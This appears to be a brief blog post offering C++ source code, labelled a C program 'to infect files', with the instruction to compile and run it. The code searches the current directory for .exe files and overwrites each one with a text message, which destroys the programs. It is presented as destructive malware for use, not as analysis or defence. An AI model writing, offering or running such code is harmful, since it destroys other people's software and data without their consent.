C program to infect Files


#include<iostream.h>
#include<dir.h>
#include<dos.h>
#include<fstream.h>

void main()
{
struct ffblk f;
int done;
ofstream file;

done = findfirst("*.exe", &f , FA_HIDDEN | FA_RDONLY); // write extension of files here
while(!done)
{

cout<<f.ff_name<<endl;
file.open(f.ff_name,ios::binary);
file<<"hi i am file infector"; //write message to be wriitten in file
file.close();

done = findnext(&f);
}
}
Compile and  Run

No comments:

Post a Comment